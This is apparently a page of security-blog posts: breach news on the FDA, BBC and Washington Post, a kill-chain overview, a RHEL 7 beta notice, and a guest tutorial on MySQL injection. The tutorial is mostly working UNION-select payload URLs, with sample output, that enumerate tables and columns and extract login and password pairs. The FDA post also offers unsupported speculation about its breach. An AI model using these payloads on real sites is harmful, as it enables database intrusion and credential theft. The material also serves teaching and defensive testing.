Showing posts sorted by date for query security system. Sort by relevance Show all posts
Showing posts sorted by date for query security system. Sort by relevance Show all posts

The U.S. Food & Drug Administration (FDA) Hack - What is Big Pharma Hiding From You?

The Food & Drug Administration (FDA) Hack - What is Big Pharma Hiding From You?
During the summer of last year, there was a growing controversy surrounding the FDA’s request to hackers to expose holes in medical devices security, such as insulin devices and other wireless and computer connected home and hospital devices. Understandably, many hackers and security experts were not particularly keen to attempt or test the security of these devices, for fear of incorrect perception, and potential outcry. In December last year, the FDA was itself the target of an hacking operation, in particular the system used by pharmaceutical companies to input data on drug tests, results, clinical trials, and so on. Whether this was an attack by cyber thieves, as the FDA claims, or hacktivists remains to be seen. 

Corporate Theft or Exposing the Truth?
The FDA of course, was quick to denounce the attack as a cyber theft. The information reported to have been accessed included medical trial data, marketing information and strategy, and information about drug manufacturing. While on the surface, we could very well accept that this could be a simple case of corporate espionage, it is worth remembering that any company that wants drug approval in the US has to go through the FDA first. Is running the risk of potentially alienating the very body that approves your products a strategy that a multi billion dollar pharmaceutical company would really undertake? While it can’t be rules out as a possibility, unless the hackers come forward, it does seem unlikely. It’s also important to remember that there is a large amount of controversy surrounding the pharmaceutical industry all over the world, but especially in the states. Could hacktivists have been responsible for the attack? If so, what could be the causes for such as attack? As we will see, there may be more than we might initially think.

Practice and Method - How Big Pharma Operates
In the US alone, it is estimated that around 70% of the population takes prescription drugs. Given the amount of people in the US is estimated to be over 300 million, that is a staggering number. With such a large amount of people taking these drugs, addiction rates are rising rapidly - so much so, that currently prescription addicts are more common than illegal drug addicts. It is a very real problem that continues to be skirted around by the US regulators and administration. In fact, where as knowing the signs of heroin or crack cocaine addiction were important pieces of information for people who suspected they may have an addict among friends or family, the same is now true for widely available prescription drugs, and many Americans are being encouraged to learn more about the potential causes and signs of prescription drug abuse, by drug charities and non profit institutions.
At the center of this problem lies the pharmaceutical industry. Adverts for medications are common, and standard practice for getting new drugs to market includes rigging clinical trials to get the desired results in clever ways that do not outright break the law, invasive marketing schemes on family doctors and consumers, where doctors will often be offered ‘sweeteners’ such as free lunches, travel to events, or even help building their reputation as speakers at industry funded conferences. The FDA is also, despite being an independent regulatory body, often effectively ‘bought out’ by companies looking to get drugs to market fast. There is the additional problem that all drug test data is not available for public consumption, meaning academics and doctors are unable to view results of tests or trials for themselves. This has led to a number of large law suits in the US, and around the world, as well as in extreme cases, deaths directly related to withheld side affects of new drugs.

Coincidence or Calculated?
We might then speculate on the nature of the accessed data once again. Bearing in mind the nature of how the industry operates, and the information that was accessed, we could quite easily draw a link between the two, and surmise that the hack may well have been the work of a hacktivist movement. Of course, there is no way to prove whether this was the case or not, but given the ambitious actions of a number of groups over the last few years, it certainly can’t be ruled out.

Disclaimer:- At perfection Team VOGH felicitate Eve Halton for sharing this luminous article with our readers. Eve is a very much passionate Fleet Street, she  has done her graduation in International Business and Journalism. Eve, this time also you have done eminent job, we love you :)

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Implementing Intrusion (Cyber) Kill Chain -A Plenary Overview

Implementing an Intrusion (Cyber) Kill Chain 

The Intrusion (Cyber) Kill Chain is a phrase popularized by infosec industry professionals and introduced in a Lockheed Martin Corporation paper titled; “ Intelligence Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains”. 
The intrusion kill chain model is derived from a military model describing the phases of an attack. The phases of the military model are: find, fix, track, target, engage, and assess. The analyses of these phases are used to pinpoint gaps in capability and prioritize the development of needed systems. The first phase in this military model is to decide on a target (find). Second, once the target is decided you set about to locate it (fix). Next, you would surveill to gather intelligence (track). Once you have enough information, you decide the best way to realize your objective (target) and then implement your strategy (engage). And finally, you analyze what went wrong and what went right (assess) so that adjustments can be made in future attacks.
Lockheed Martin analysts began by mapping the phases of cyber attacks. The mapping focused on specific types of attacks, Advanced Persistent Threats (APTs) - The adversary/intruder gets into your network and stays for years– sending information, usually encrypted – to collection sites without being detected. Since the intruder spent so much time in the network, analysts were able to gather data about what was happening. Analysts could then sift through the data and begin grouping it into the military attack model phases. Analysts soon realized that while there were predictable phases in cyber attacks, the phases were slightly different from the military model.  The intrusion (cyber) kill chain shown below, describe the phases of a cyber attack.
The chain of events or activities are as follows:
  

Link in the Chain
Description
1.  Reconnaissance
Research, identification and selection of targets- scraping websites for information on companies and their employees in order to select targets.
2.  Weaponization
Most often, a Trojan with an exploit embedded in documents, photos, etc.
3.  Delivery
Transmission of the weapon (document with an embedded exploit) to the targeted environment.  According to Lockheed Martin's Computer Incident Response Team (LM-CIRT), the most prevalent delivery methods are email attachments,websites, and USB removable media.
4.  Exploitation
After the weapon is delivered, the intruder's code is triggered to exploit an operating system or application vulnerability, to make use of an operating system's auto execute feature or exploit the users themselves.
5.  Installation
Along with the exploit the weapon installs a remote access Trojan and/or a backdoor that allows the intruder to maintain presence in the environment
6.  Command and Control
Intruders establish a connection to an outside collection server from compromised systems and gain 'hands on the keyboard' control of the target's compromised network/systems/applications.
7.  Actions on Objective
After progressing through the previous 6 phases, the intruder takes action to achieve their objective.  The most common objectives are:  data extraction, disruption of the network, and/or use of the target's network as a hop point.
Lockheed Martin's analysts also discovered while mapping the intruder's activities, that a break (kill) in any one link in the chain would cause the intrusion to fail in its objective. This is one of the major benefits of the intrusion kill chain framework as security professionals have traditionally taken a defensive approach when it comes to incident response. This means that intrusions can be dealt with offensively too.
Lockheed Martin's case studies reveal that knowledge about previous intrusions and how they were accomplished allow analysts to recognize those previously used tactics and exploits in current attacks.  For example, mapping of three intrusions revealed that all three were delivered via email, all three used  very similar encryption, all three used the same installation program and connected to the same outside collection site. All of the intrusions were stopped before they accomplished their objective.
How did they do this? How can my company utilize this approach?
Monitoring and mapping is the key.
The following list contains some of the necessary components (not in any particular order) needed to do intrusion mapping and setting up the kill.
·         Network Intrusion Detection (NIDS)
·         Network Intrusion Prevention (NIPS)
·         Host Intrusion Detection (HIDS)
·         Firewall access control lists (ACL)
·         Full packet inspection
·         A mature IT asset management system
·         A mature and comprehensive Configuration Management Database (CMDB)
·         Device and system hardening
·         Secure configurations baselines
·         Website inspection
·         Honeypots
·         Anti-virus and anti-malware
·         Verbose logging – network devices, servers, databases, and applications
·         Log correlation
·         Alerting
·         Patching
·         Email and FTP inspection and filtering
·         Network tracing tools
·         Information Security staff trained in tracking and mapping events end-to-end
·         Coordination and partnering with IT, Application Owners, Database Administrators, Business Units and Management both in investigation and communicating the mapped intrusions.

In short, in order to implement intrusion kill chain activity a company needs to have a mature inter-operating and information security program. Additionally, they need trained staff that can investigate, map and advise 'kill' activities, keep a compendium of mapped intrusions, analyze and compare old and new intruder activity, code use, and delivery methods to thwart current and future intrusions.
The intrusion (cyber) kill chain is not an endeavor that can be successfully implemented in place of a comprehensive Information Security Program, it’s another tool to be used to protect the company's data assets.
The good news is if your company doesn't have a mature information security program there is a lot you can do while making plans to introduce an intrusion kill chains in your department's arsenal.
·         Educate your employees to watch for suspicious emails. For instance, emails that seem to be off – such as, someone in accounting receiving an invitation to attend a marketing conference. Let them know that they shouldn't open attachments included in email like this.
·         Make sure you have anti-virus and anti-malware software installed and up to date.
·         Start an inventory of your computing devices, laptops, desktops, tablets, smartphones, network devices and security devices.
·         You have an advantage over intruders. You know your network and what is normal and usual, they don't.  Notice user behavior that is not usual and look into it.  For example, a login at 2am for someone who works 9 to 5. Or an application process that normally runs overnight that is kicking off during the day.
·         Keep your security patches up to date.
·         Create and monitor baseline configurations.
·         Write, publish and communicate information security policies and company standards.
·         Turn on logging and start collecting and keeping logs. Start with network devices and firewalls and then add servers and databases.  Set up alerts for things such as repeated attempts at access.
·         Spend some time using search engines from outside your network to see how much information can be learned about your company from the Internet.  You'd be surprised how much you can find including sensitive documents.

All of these practices and activities give you more information about your computing environment and what is normal and usual. The more you know about your environment, the more likely it is that you will spot the intruder before any damage is done.

Disclaimer:- Before conclusion, on behalf of Team VOGH, I would like to personally thank Mr. Adrian Stolarski for sharing this remarkable article with our readers. I would also like to thank Ryan Fahey  of Infosec Institute for his spontaneous effort. 


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BBC Server Compromised! Russian Hackers Broke Into FTP & Tried to Sell Unauthorized Access

BBC Server Compromised! Russian Hackers Hacked Into FTP & Tried to Sell Unauthorized Access on The X-Mass Evening 
Earlier we have seen world renowned media houses like CNN, NBC, Fox News, Washington Post, NY Times, NDTV and so on have fallen victim to hackers and cyber criminals. Now it was the turn for world’s largest and oldest broadcaster -British Broadcasting Corporation, widely known to us as BBC. Sources revealed that cyber criminals have managed to breach the security system of BBC and secretly took over a computer server at the BBC and then launched a Christmas Day campaign to convince other cyber criminals to pay him for access to the system. The attack was first identified by a cyber security firm named Hold Security LLC, in Milwaukee that monitors underground cyber crime forums in search of stolen information. However, it is still not clear whether the hacker stole any information or data or caused any damage to the site. In conversation with press Alex Holden, founder and Chief Information Security Officer of Hold Security told -"So far Hold Security researchers have found no evidence the conversations led to a deal or that data was stolen from the BBC.” So far the identity of hacker has not been confirmed, but the firm researchers observed a notorious Russian hacker known by the monikers "HASH" and "Rev0lver," attempting to sell access to the BBC server on December 25. However, BBC's security team managed to secure the site on Saturday, claims a person close to clean up efforts. One of the BBC spokesman refused to comment on the issue, he said, “We do not comment on security issues.” On the other hand, Justin Clarke, a principal consultant for the cyber security firm Cylance, said that while "accessing that server establishes a foothold within BBC's network which may allow an attacker to pivot and gain further access to internal BBC resources.” So far Hold Security researchers have found no evidence the conversations led to a deal or that data was stolen from the BBC. But we all know that  ftp systems are typically used to manage the transfer of large data files over the Internet. That's why the chances of data breach cant not be denied at this time. For updates on this piece of news and other hot information of the cyber & tech world stay tuned with VOGH


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The Washington Post Server Breached! Chinese Hackers Apprehend For This Cyber Attack

The Washington Post Server Hacked! Suspected That Chinese Hackers Are Behind This Cyber Attack 
Last week the story of Chinese eavesdropping on European ministries and diplomats at G20 summit draws the attention of the entire cyber world and made headlines. Yet again another breathtaking issue came in-front where also China found responsible for security breach that effected The Washington Post - the most widely circulated newspaper published in Washington, D.C. Sources reveled that hackers broke into The Washington Post’s servers and gained access to employee user names and passwordsMandiant, a cyber security contractor that monitors The Washington Post’s networks, said the intrusion was of relatively short duration. The extent of the loss of company data was not immediately clear, still the matter of relief is that the company passwords are stored in encrypted form, hackers in some cases have shown the ability to decode such information. although to avoid any further mishap Washington Post have planned to ask all employees to change their user names and passwords on the assumption that many or all of them may have been compromised. Officials at Washington Post said that they saw no evidence that subscriber information, such as credit cards or home addresses, was accessed by the hackers. Nor was there any sign that the hackers had gained access to The Post’s publishing system, e-mails or sensitive personal information of employees, such as their Social Security numbers. Post officials found that this hack is more-recent than the 2011 one. They also said, began with an intrusion into a server used by The Post’s foreign staff but eventually spread to other company servers before being discovered. “This is an ongoing investigation, but we believe it was a few days at most,” said Post spokeswoman Kris Coratti. 
China not only targeted Washington Post,  If you look at the story of major cyber attacks of this year we will find that the name of China has been involved several times for engaging cyber attacks against several high profile news organization of U.S. including New York TimesNBC and so on. So far Chinese Government have not responded to this issue, also none of Chinese hacker community take the responsibility of this breach. For upcoming updates on this story stay tuned with VOGH




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Red Hat Enterprise Linux 7 Beta Arrives! Download Now And You Can Win $500

Red Hat Enterprise Linux (RHEL) 7 Arrived With Expanded Container Support, Performance Profiles, XFS As the Default Filesystem & Many More. 
We have just spent a less than a month time after the release of Red Hat Enterprise Linux 6.5 made available globally, yet again the American multinational software company, leading the world for open-source software has announced the availability of a first public beta release of Red Hat Enterprise Linux (RHEL) version 7. Based on Fedora 19 and the upstream Linux 3.10 kernel, Red Hat Enterprise Linux 7 will provide users with powerful new capabilities that streamline and automate installation and deployment, simplify management, and enhance ease-of-use, all while delivering the stability that enterprises have come to expect from Red Hat. This further solidifies Red Hat Enterprise Linux's place as the world's leading Linux platform and a standard for the enterprise of the future. Whether rolling out new applications, virtualizing environments or scaling the business with cloud, Red Hat Enterprise Linux 7 delivers the keystone to IT success. The beta release of Red Hat Enterprise Linux 7 adds value to new and existing IT projects across industries by adding key capabilities to improve critical but often cumbersome IT tasks like virtualization and storage while offering a clear pathway to the open hybrid cloudIn their official Red Hat Enterprise Linux YouTube channel, Red Hat posted a short video where you can hear what the team at Red Hat has to say about the next-generation of the world’s leading Linux platform.

Red Hat Enterprise Linux 7 Beta showcases hundreds of new features and enhancements, including: 
  • Linux Containers - Enabling applications to be created and deployed in isolated environments with allocated resources and permissions.
  • Performance Management – Using built in tools, you can optimize performance out-of-the-box.
  • Physical and Hosted In-place Upgrades - In-place upgrades for common server deployment types are now supported. Additionally, virtual machine migration from a Red Hat Enterprise Linux 6 host to a Red Hat Enterprise Linux 7 host is possible, without virtual machine modification or downtime.
  • File Systems – File systems continue to be a major focus of development and innovation.
    • XFS is now the default file system, supporting file systems up to 500TB
    • ext4 file systems are now supported to 50TB and include block sizes up to 1MB
    • btrfs file systems are now available to test
  • Networking – Enhanced networking configuration and operation. Added support for some of the latest networking standards, including:
    • 40Gb Ethernet support
    • Improved channel bonding
    • TCP performance improvements
    • Low latency socket poll support
  • Storage – Expanded support for enterprise level storage arrays. Improved scalable storage stack for deployments that are less disk intensive. Improved storage management for heterogeneous storage environments.
  • Windows Interoperability – Bridge Windows™ and Linux infrastructure by integrating SAMBA 4.1 with existing Microsoft Active Directory domains. Or, deploy Red Hat Enterprise Linux Identity Management in a parallel trust zone with Active Directory.
  • Subsystem Management – Simplified configuration and administration with uniform management tools for networking, storage, file systems, performance, identities and security. Leveraging the OpenLMI framework, enables use of scripts and APIs to automate management.
To know deeply about the hot features and enhancement of RHEL 7 beta 1, click hereI am quite sure that, after going through with the above description, all of you are very much excited to grab this brand new beta of RHEL 7. Like the previous beta release, this time also The Red Hat Enterprise Linux 7 beta has been made available to Red Hat customers, partners, and members of the public. For further information and to access the beta click here. Last but not least, with this release Red Hat also calls for an very interesting competition, where you can participate & win $500 while telling Red Hat, what interests you most in RHEL 7 beta. So what are you waiting for, lets download RHEL 7 and explore it. 



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Chinese Hackers Eavesdropping European Diplomats Before G20 Summit

Researchers At FireEye Found -Chinese Hackers Snitching  Europeans Before G20 Summit 
Story of cyber espionage by Chinese hackers used to remain one of most highest pick of breakneck. Yet again another breathtaking issue of  eavesdropping by Chinese hackers get spot light, when  California-based renounced computer security firm FireEye Inc have figured out that a group of Chinese hackers eavesdropped on the computers of five European foreign ministries before last September's G20 Summit, which was dominated by the Syrian crisis. From the detailed analysis we came to know that the hackers have infiltrated the ministries' computer networks by sending emails to staff containing tainted files with titles such as "US_military_options_in_Syria," which sells virus fighting technology to companies. Whenever the targeted recipients opened those documents, they loaded malicious code on to their personal computers. Researchers of FireEye said that they were able to monitor the "inner workings" of the main computer server used by the hackers to conduct their reconnaissance and move across compromised systems for about a week in the late August. But suddenly they lost access to the hackers after they moved to another server shortly before the G20 Summit in St. Petersburg, Russia
Though the company has declined in open press to identify the nations whose ministries were hacked, although it said they were all members of the European Union. But FireEye informed the FBI about the whole issue in details. FireEye also confirmed that the hackers where from China, but they did not find evidence which may link those hackers to the Chinese government. Not surprisingly and obviously like earlier the Chinese government has distanced itself from any claim that it might have hacked foreign governments for data. FireEye also successfully monitor several dozen hacking groups operating in China, most of which they suspect of having ties to the government. The firms also suspect the hacking groups of stealing intellectual property for commercial gain. The researchers had been following the hackers behind the Syria-related attack for several years, but this is the first time the group's activities have been publicly documented. The company calls the group "Ke3chang," after the name of one of the files it uses in one of its pieces of malicious software"The theme of the attacks was U.S. military intervention in Syria," said FireEye researcher Nart Villeneuv. 
On reaction Chinese Foreign Ministry spokesman Hong Lei said- "U.S. internet companies are keen on hyping up the so-called hacker threat from China, but they never obtain irrefutable proof, and what so-called evidence they do get is widely doubted by experts. This is neither professional nor responsible," 
While talking in this story of Chinese eavesdropping, I also want to dig some points from decent parts where we all became very habituated of seeing Europe & U.S. countries blaming China for engaging cyber attacks; and China also do the same for accusing U.S. like vice versa. I am reviving your memories of last few years where If you look at the story of major cyber attacks of this year we will find that the name of China has been involved several times for engaging cyber attacks against several high profile websites and organization of U.S. including New York TimesTwitterNBC and so on. And if you refresh our memory then then we will find the scenario of big cyber attack and espionage by Chinese hackers have been spotted several times. In 2012 Chinese hackers had  breached Telvent's corporate network & gained control of US Power Grid. Also in the middle of last year, we have seen that Chinese hackers have broken into Indian Navy's Computer System & stolen sensitive data. Few months before this hack, Tokyo based computer security firm Trend Micro confirmed that Chinese hackers were responsible for biggest cyber-espionage in India, Japan & Tibet. Also the director of National Security Agency (NSA) General Keith Alexander confirmed that hackers from China was responsible for the serious attack on one of the leading IT security & cyber security company RSA. Also in 2011 China was responsible behind the attack on US Chamber of CommerceSatellite System of U.SNortel Network & so on.  But few days ago National Computer Network Emergency Response Coordination Center of China (CNCERT/CC), China's primary computer security monitoring network claimed that China fallen victim of one of biggest cyber attacks originated from US, Japan & South Korea. We must have to say that this statement is truly irrelevant. Cyber crime investigator have found that China was directly responsible for the hack into Japan's Biggest Defense Contractor MitsubishiJapan Aerospace Exploration Agency (JAXA) & Parliament of Japan. In case of South Korea  more than 13 Million of MapleStory players data has been stolen, there also hackers from China was responsible.  

Before I conclude, I request you to closely look at the above mentioned stories, you will find China majorly responsible for eavesdropping & security breach. On the same side China also been effected by the same way. So in conclusion, we cant put a full stop in this chain of cyber attacks, hackingeavesdropping, as it comes from both end. So this exciting episode will be continued like it does. If you want to stay updated then don't forget to stay tuned with VOGH



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We Are The Best Tool For Web Application Security (Discovering Infamous Sql-i Technique)

We Are The Best Tool For Web Application Security (Discovering The Infamous Sql-injection Technique) 

Today I am proudly sharing an article made by Mr. Rafael Souza one of the great admirer and fan of VOGH has gladly shared his brilliant research paper on SQL-Injection (MySql) with us. Rafael is a very passionate on cyber security domain and he is keenly involved with GreyHat Community and Maintainer design of Brazilian Backtrack Team. So without wasting time lets go and see what Rafael has for us:- 

Discover The Infamous MySQL Injection Technique 
                                                                                        
ABSTRACT:
It is known that computers and software are developed and designed by humans, human error is a reflection of a mental response to a particular activity. Did you know that numerous inventions and discoveries are due to misconceptions?
There are levels of human performance based on the behavior of mental response , explaining in a more comprehensive, we humans tend to err , and due to this reason we are the largest tool to find these errors , even pos software for analysis and farredura vulnerabilities were unimproved by us.
                                                                                                       
Understand the technique MySQL Injection: 
One of the best known techniques of fraud by web developers is the SQL Injection. It is the manipulation of a SQL statement using the variables who make up the parameters received by a server-side script, is a type of security threat that takes advantage of flaws in systems that interact with databases via SQL. SQL injection occurs when the attacker can insert a series of SQL statements within a query (query) by manipulating the input data for an application. 

STEP BY STEP
 
(Figure 1) Detecting
Searching Column number (s): We will test earlier in error, then no error may be said to find.
(Figure 2) SQL Error 
Host Information,
Version of MySQL system used on the server.
(Figure 3) Host Information
(Figure 4) Location of the Files
Current database connection used between the "input" to the MySQL system
(Figure 5) Users of MySQL
(Figure 6) Current Time
Brute Force or Shooting
This happens in versions below 5.x.y
(Figure 7) Testing

Dump: This happens in versions up 5.x.y [ 1º Method ]
http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()--
usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you
or
Unknown column 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios,rafael,fontes,souza,greyhat,hackers,test,ownz,you' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ]

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 0,1--
CHARACTER_SETS
or
Unknown column 'CHARACTER_SETS' in 'where clause'
ou
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'CHARACTER_SETS' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 1,2--
COLLATIONS
or
Unknown column 'COLLATIONS' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'COLLATIONS' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 16,17--
usuarios
or
Unknown column 'usuarios' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'usuarios' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(table_name) from information_schema.tables limit 17,18--
rafael
or
Unknown column 'rafael' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael' at line 1
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Searching Column (s) of a given table
* Brute Force / Shooting
This happens in versions below 5.x.y
http://[site]/query.php?string= 1 union all select 1,2,3,4,nome from usuarios--
Unknown column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,churros from usuarios--
Unknown column 'rafael1' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,login from usuarios--
_Rafa_
or
Unknown column '_Rafa_' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,passwd from usuarios--
rafael1337
or
Unknown column 'rafael1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rafael1337' at line 1

=--------------------------=--------------------------=--------------------------=--------------------------=
Dump
This happens in versions up 5.x.y [ 1º Method ]

"usuarios" hexadecimal -> "7573756172696f73"

http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x7573756172696f73--
login,passwd,id,texto
or
Unknown column 'login,passwd,id,texto' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login,passwd,id,texto' at line 1

<>------------------------<>-------------------------<>--------------------------<>

[ 2º Method ]

"usuarios" decimal -> "117,115,117,97,114,105,111,115"

http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 0,1--
login
or
Unknown column 'login' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 1,2--
passwd
or
Unknown column 'passwd' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'passwd' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 2,3--
id
or
Unknown column 'id' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'id' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(column_name) from information_schema.columns where table_name=char(117,115,117,97,114,105,111,115) limit 3,4--
texto
or
Unknown column 'text' in 'where clause'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text' at line 1
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Extracting data from the columns of a given table
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat(login,0x20,0x3a,0x20,senha) from usuarios--
_Rafa_ : fontes1337
or
Unknown column '_Rafa_ : fontes1337' in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,group_concat(login,0x20,0x3a,0x20,senha) from usuarios--
_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec
or
Unknown column '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec ‘in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Rafa_ : fontes1337,l337_ : 3_l33t,greyhats : fontes,hackers : mitnick,green : rha_infosec' at line 1

=--------------------------=
http://[site]/query.php?string= 1 union all select 1,2,3,4,concat_ws(0x20,0x3a,0x20,login,senha) from usuarios--
_RHA_ : infosec1337
or
Unknown column '_RHA_ : infosec1337‘ in 'field list'
or
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '_Mlk_ : gremio1903' at line 1

=--------------------------=
Concat
group_concat() => Search all you want with ascii caracters
concat() => search what you want with ascii caracters
concat_ws() => unite

Hexadecimal
0x3a => :
0x20 => space
0x2d => -
0x2b => +

Readers, this article is for educational purposes only, could continue explaining how to exploit web sites, but that is not my intention.
It is known that the impact of the change may provide unauthorized access to a restricted area, being imperceptible to the eye of an inexperienced developer, it may also allow the deletion of a table, compromising the entire application, among other features. So I want to emphasize that this paper is for security researcher and developers to beware and test your code.

CONCLUSION
Many companies are providing important information on its website and database, information is the most valuable asset is intangible, the question is how developers are dealing with this huge responsibility?
The challenge is to develop increasingly innovative sites, coupled with mechanisms that will provide security to users.
The purpose of this paper is to present what is SQL Injection, how applications are explored and techniques for testing by allowing the developer to customize a system more robust and understand the vulnerability.
**********
I hope you all will enjoy the above article, as I did. On behalf of entire VOGH Team I am sincerely thanking Mr. Rafael Souza for his remarkable contribution. 
To get more of such exclusive research papers along with all kind of breaking cyber updates across the globe just stay tuned with VOGH


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